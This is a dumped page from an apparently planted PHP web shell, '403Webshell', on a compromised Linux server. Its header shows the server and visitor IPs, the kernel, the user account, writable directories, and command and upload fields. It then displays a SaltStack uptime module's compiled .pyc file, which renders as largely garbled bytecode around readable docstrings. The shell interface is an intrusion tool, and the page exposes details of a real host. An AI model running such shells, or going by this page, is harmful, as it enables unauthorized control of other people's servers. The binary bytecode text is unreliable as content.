403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/__pycache__/uptime.cpython-310.pyc
o

;j��@s~dZddlZddlmZzddlZdZWneydZYnwe�e�Z	dd�Z
dd	�Zd
d�Zdd
�Z
dd�Zdd�ZdS)z5
Wrapper around uptime API
=========================
�N)�CommandExecutionErrorTFcCstrdSdS)zJ
    Only load this module if the requests python module is available
    Zuptime)Fz6uptime module needs the python requests module to work)�ENABLED�rr�G/opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/uptime.py�__virtual__srcKs�t|�rd|��}t�|�t|��t�}t�d�|j|d�tj|�d�|dd�}|j	s6td|j
����t�d�|��d	S)
aPCreate a check on a given URL.

    Additional parameters can be used and are passed to API (for
    example interval, maxTime, etc). See the documentation
    https://github.com/fzaninotto/uptime for a full list of the
    parameters.

    CLI Example:

    .. code-block:: bash

        salt '*' uptime.create http://example.org

    z-Trying to create check that already exists : zptime] trying PUT request��url�/api/checks�x)�data�timeout�request to uptime failed : z[uptime] PUT request successful�_id)�check_exists�log�errorr�_get_application_url�debug�update�requests�put�ok�reason�json)�name�params�msg�application_url�reqrrr�creates



rcs�t��sd���}t�|�t|��t�}t�d�tj|�d�dd���}�fdd�|D�d}tj	|�d	|��dd�}|j
sHtd
|j����t�d�dS)
z�
    Delete a check on a given URL

    CLI Example:

    .. code-block:: bash

        salt '*' uptime.delete http://example.org
    z-Trying to delete check that doesn't exists : z[uptime] trying DELETE requestr	r
�rcs g|]}|d�kr|d�qS)rrr��.0�x�rrr�
<listcomp>Ks zdelete.<locals>.<listcomp>rz/api/checks/r
z"[uptime] DELETE request successfulT)rrrrrrr�getr�deleterr)rrr�jcontentZurl_idrrr$rr':s




r'cCs*tdd�}|durt�d�td��|S)z<
    Helper function to get application url from pillar
    z
pillar.getzuptime:application_urlNz,Could not load uptime:application_url pillarz<uptime:application_url pillar is required for authentication)Z__salt__rrr)rrrrrSs
�rcCs6t�}t�d�tj|�d�dd���}dd�|D�S)zu
    List URL checked by uptime

    CLI Example:

    .. code-block:: bash

        salt '*' uptime.checks_list
    z[uptime] get checksr	r
r cSsg|]}|d�qSrrr!rrrr%mszchecks_list.<locals>.<listcomp>)rrrrr&r)rr(rrr�checks_list`s

r)cCs|t�vr
t�d|�dSdS)z�
    Check if a given URL is in being monitored by uptime

    CLI Example:

    .. code-block:: bash

        salt '*' uptime.check_exists http://example.org
    zptime] found %s in checksTF)r)rrr$rrrrps

r)�__doc__�loggingZsalt.exceptionsrrr�ImportError�	getLogger�__name__rrrr'rr)rrrrr�<module>s �
	


Youez - 2016 - github.com/yon3zu
LinuXploit